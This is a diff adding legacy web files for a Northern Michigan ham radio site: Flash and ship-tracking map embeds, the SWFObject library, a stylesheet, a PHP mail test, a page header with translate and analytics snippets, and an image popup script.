+ </TR>
+</TABLE>
+
+
+ </BODY>
+</HTML>
--- /dev/null
+<html>
+ <head>
+<script type="text/javascript" src="http://www.longtailvideo.com/jw/js/ieclasser.js"></script>
+
+ </head>
+ <body>
+ <script type="text/javascript">
+ var s1 = new SWFObject("/jw/embed/player.swf","player","470","320","9","#ffffff");
+ s1.addParam("allowfullscreen","true");
+ s1.addParam("allowscriptaccess","always");
+ s1.addParam("wmode","opaque");
+ s1.addParam("flashvars","file=http://content.bitsontherun.com/videos/3ta6fhJQ.flv");
+ s1.write("preview");
+ </script><br />
+
+
+ </body>
+</html>
--- /dev/null
+<div style="padding: 4px;">
+<script type="text/javascript">
+ width='100%';
+ height=500;
+ border=2;
+ notation=false;
+ shownames=true;
+ latitude=45.6;
+ longitude=-84.7;
+ zoom=8;
+ maptype=3;
+ trackvessel=0;
+ fleet='';
+ remember=false;
+</script>
+<script type="text/javascript" src="http://www.marinetraffic.com/ais/embed.js"></script>
+</div>
+<p>
+We would like to cover additional areas of the Great Lakes. If you have a high-profile
+antenna site and would like to participate, contact me at shiptracking@n8dnx.org or see
+<a href="http://www.marinetraffic.com/ais/addyourarea.aspx?level1=150">THIS PAGE</a>.
--- /dev/null
+/**
+ * SWFObject v1.5: Flash Player detection and embed - http://blog.deconcept.com/swfobject/
+ *
+ * SWFObject is (c) 2007 Geoff Stearns and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+if(typeof deconcept=="undefined"){var deconcept=new Object();}if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){deconcept.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};deconcept.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new deconcept.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};deconcept.SWFObjectUtil.getPlayerVersion=function(){var _23=new deconcept.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new deconcept.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};deconcept.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};deconcept.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};deconcept.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};deconcept.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(deconcept.SWFObject.doPrepUnload){if(!deconcept.unloadSet){deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",deconcept.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",deconcept.SWFObjectUtil.prepUnload);deconcept.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=deconcept.util.getRequestParameter;var FlashObject=deconcept.SWFObject;var SWFObject=deconcept.SWFObject;
\ No newline at end of file
--- /dev/null
+/*font*/
+body, table, td {font-family: arial, helvetica, sans-serif; font-size: 13px;}
+/*links*/
+a {font-weight: bold;}
+a:link {color: #0A328C;}
+a:visited {color: #0A328C;}
+a:active {color: #0A328C;}
+a:hover {color: #000;}
+
+body {margin: 0; padding: 0;}
+#wrap {}
+
+/*main header */
+#top {
+ background-color: #0A328C;
+ background-image: url(assets/bg.jpg);
+ background-repeat: no-repeat;
+ border-bottom: 8px solid #D1C9BE;
+ height: 96px;
+ }
+
+#top h1 {
+ color: #fff;
+ padding: 20px 10px;
+ margin: 0;
+ text-align: left;
+ }
+#top h1 img {float: right; margin-top: -15px; margin-right: -10px;}
+* html #top h1 img { margin-right: -13px; }
+div#tagline {font-size: 16px;}
+#content {
+ float: left;
+ width: 600px;
+ background-color: white;
+ border-left: 1px solid #0A328C;
+ padding-bottom: 10px;}
+/*toolbox */
+#category {margin-left: 10px; }
+#category h1 {
+ background-color: transparent;
+ color: #000;
+ background-image: none;
+ font-size: 18px;
+ padding: 1em 0 0 0;
+ border-bottom: 1px solid #D1C9BE;
+ text-align: left;
+ }
+h2 {font-size: 16px; margin:1em 0 0.5em 0; }
+p {margin: 0 0 1em 0;}
+.listing {margin-left: 10px;clear:both; }
+.imageright {float: right; clear: right; position: relative; margin: 0 0 10px 10px;}
+.imageleft {float: left; clear: left; position: relative; margin: 0 10px 10px 0;}
+
+#staff {margin-left: 10px; margin-top: 10px; }
+/* copyright*/
+#copyright {
+ font-size: 12px;
+ font-weight: bold;
+ background-color: #0A328C;
+ color: #fff;
+ padding: 10px;
+ margin: 0;
+ background-image: url(assets/bg.jpg);
+ background-repeat: no-repeat;
+ clear: both;
+ }
+
+/* nav */
+
+#navleftcontainer {float: left; position: relative;}
+
+#navleftcontainer ul
+{
+margin: 0;
+padding: 0;
+list-style-type: none;
+font-family: verdana, arial, Helvetica, sans-serif;
+width: 150px;
+}
+
+#navleftcontainer li { margin: 0 0 1px 0; padding: 0;}
+
+#navleftcontainer a
+{
+display: block;
+padding: 5px 10px;
+/*width: 140px;*/
+color: #0A328C;
+background-color: #0A328C;
+background-color: #fff;
+
+text-decoration: none;
+font-size: 12px;
+font-weight: bold;
+}
+
+#navleftcontainer a:hover
+{
+color: #000;
+text-decoration: none;
+}
+
+#navleftcontainer ul ul li { margin: 1px 0 0 0; padding: 0;}
+
+#navleftcontainer ul ul a
+{
+display: block;
+padding: 5px 5px 5px 20px;
+/*width: 125px;*/
+/*background-color: #4B68B8; */
+text-decoration: none;
+}
+#navleftcontainer ul ul ul a {padding: 5px 5px 5px 40px;}
+#navleftcontainer ul ul a:hover
+{
+text-decoration: none;
+}
--- /dev/null
+<?
+
+$mess = '
+
+Hi this is a test.
+
+';
+
+mail( "cscott@gaslightmedia.com", "PHP Mail Filter Test", $mess, "Cc: cscott@n8dnx.org\nBcc: cscott@n8dnx.org" );
+echo "Sent";
+
+?>
--- /dev/null
+<div id="top">
+<!--<h1><img src="<?=BASE_URL?>assets/top-image3.gif" width="344" height="80" alt="top-image3 (17K)" >
+<div id="tagline">Bringing Public Information to You</div></h1>-->
+<h1>Welcome to Petoskey and Ham Radio in Northern Michigan
+
+</style>
+<span style="float: right; white-space: nowrap;">
+<div id="google_translate_element"></div><script type="text/javascript">
+function googleTranslateElementInit() {
+ new google.translate.TranslateElement({pageLanguage: 'en'}, 'google_translate_element');
+}
+</script><script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
+</span>
+
+<div id="tagline">
+ <br>
+<span style="float: right;">
+Chuck Scott
+<a href="mailto:webfeedback@n8dnx.org" style="color: white;">webfeedback@n8dnx.org</a>
+</h1>
+</span>
+</div>
+<script>
+ (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+ m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+ })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
+
+ ga('create', 'UA-46270153-1', 'n8dnx.org');
+ ga('send', 'pageview');
+
+</script>
--- /dev/null
+<?php
+require_once("setup.phtml");
+?>
+<html>
+<head>
+ <title><?php echo SITENAME?></title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<style type="text/css">
+<!--
+body {
+ margin: 0;
+ padding: 0;
+ }
+-->
+</style></head>
+
+<body bgcolor="#FFFFFF" text="#006633" onBlur="self.close()" onClick="self.close()">
+<?php
+if(file_exists(ORIGINAL_PATH."$img"))
+{
+ $size2 = getimagesize(ORIGINAL_PATH."$img");
+}
+
+?>
+<center>
+ <img src="<?echo ORIGINAL.$img?>" <?echo $size2[3]?>>
+<?echo ($title) ? '<I>'.stripslashes(strip_tags($title)).'</I>':''?>
+</center>
+</body>
+</html>